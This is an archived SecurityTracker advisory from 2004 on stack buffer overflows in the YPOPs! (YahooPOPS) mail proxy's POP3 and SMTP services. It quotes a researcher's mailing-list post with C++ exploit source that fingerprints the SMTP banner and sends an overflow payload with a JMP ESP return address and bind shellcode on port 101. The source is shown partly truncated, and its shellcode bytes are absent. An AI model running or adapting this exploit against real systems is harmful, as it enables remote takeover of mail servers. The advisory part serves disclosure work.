Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (E-mail Server)  >   YPOPs! Vendors:
(Exploit Code is Available) YPOPs! Buffer Overflows Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1011620
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 12 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.4 - 0.6
Description:   Hat-Squad Security Team reported buffer overflow vulnerabilities in YPOPs! A remote user can execute arbitrary code on the target system.

It is reported that a remote user can trigger buffer overflows in the POP3 and SMTP services.

A remote user can supply a POP3 USER command with a parameter that is greater than 180 bytes to trigger the overflow. A demonstration exploit request that will cause the target service to crash is provided:


A remote user can supply an SMTP message that is greater than 504 bytes to trigger the overflow. A demonstration exploit string is provided:

[504xA] [BBBB]

The SMTP service is not enabled by default.

The vendor was notified on September 24, 2004, without response.

class101 provided some demonstration exploit code, available at:

Impact:   A remote user can execute arbitrary code on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   This archive entry is a follow-up to the message listed below.
Sep 27 2004 YPOPs! Buffer Overflows Let Remote Users Execute Arbitrary Code

 Source Message Contents

Subject:  YahooPOPS <= 0.6, SMTP Remote Buffer Overflow Exploit by me

This is a stack based overflow, original bug is found there is about 15 
days by the

I submit you my exploit "universal" binding a shellcode to the port 101.

The bug is easy , i overwrite EIP with a jump to esp and right after I 
jump to EBX where is located my crafted payload.=20

Read the adv for more infos or read 101_ypops.cpp

Vendors are still atcually deserving a vulnerable version 0.6, they are 
contacted of an exploit circulating publicly at

Content-Type: application/octet-stream;
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;


YahooPOPS v0.6 and prior SMTP port buffer overflow exploit v0.1
Exploit code by class101 [at] 
Bind a shellcode to the port 101.

Thanx to Behrang Fouladi( for the bug discovery
Thanx to HDMoore and for their kickass ASM work

Instead of to move like you Behrang EBX to ESP after overwritting EIP, 
I found out that only jumping to EBX is needed because our crafted payload 
starts at EBX.

The exploit is tested working on Win2K SP4 and WinXP SP1, and it should works 
also on NT4 and 2003 as the shellcode is designed for.

The jmp esp is from libcurl.dll wich come with yahoopops, just to notice there is no need of an offset update, 
this is already "universal".

This exploit can't overflow the port 110 (POP3), not enough space in the buffer to add a bind/reverse shell
maybe enough to spawn only one as the well know KaHT.
If you want to try on POP3, you should request more than 180 bytes to overwrite EAX and ECX
Maybe in a v0.2, I will add it , anyway check regulary.


#include "winsock2.h"
#include "fstream.h"

#pragma comment(lib, "ws2_32")

char scode[] =  //BIND shellcode port 101, thanx HDMoore. 

static char payload[1024];

char jmp[]="\x23\x9b\x02\x10"; //JMP ESP
char jmpebx[]="\xff\xe3";  //JMP EBX

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
	if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
	char recvbuf[100];
	int ip=htonl(inet_addr(argv[1])), port, size, x;
	if (argc==3){port=atoi(argv[2]);}
	else port=25;
	struct fd_set mask;
	struct timeval timeout; 
	struct sockaddr_in server;
	if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
	WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
		case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
		case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
			cout<<"[+] connected, checking the server..."<<endl;
			if (strstr(recvbuf,"OK POP3 YahooPOPs")){cout<<"[+] this is not the POP3 port but the SMTP port that you should use."<<endl;return -1;}
			if (!strstr(recvbuf,"220 YahooPOPs")){cout<<"[+] this is not a YahooPOPS server, quitting..."<<endl;return -1;}
			cout<<"[+] YahooPOPS SMTP detected, constructing the payload"<<endl;
			for (x=0;x<size;x++){strcat(payload,"\x90");}
		    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
			cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
			return 0;
	return 0;

void usage(char* us) 
	cout<<"USAGE: 101_ypops.exe ip port\n"<<endl;
	cout<<"NOTE: The port should be the SMTP, not POP3!"<<endl;
	cout<<"      The port 25 is default if no port specified."<<endl;
	cout<<"      The exploit bind a shellcode to the port 101."<<endl;

void ver()
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]==="<<endl;
cout<<"        ===YahooPOPS <= v0.6, SMTP Remote Buffer Overflow Exploit==="<<endl;
cout<<"        =====coded by class101===========[ 2004]==="<<endl;
cout<<"        ============================================================"<<endl;
cout<<"                                                                   "<<endl;


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC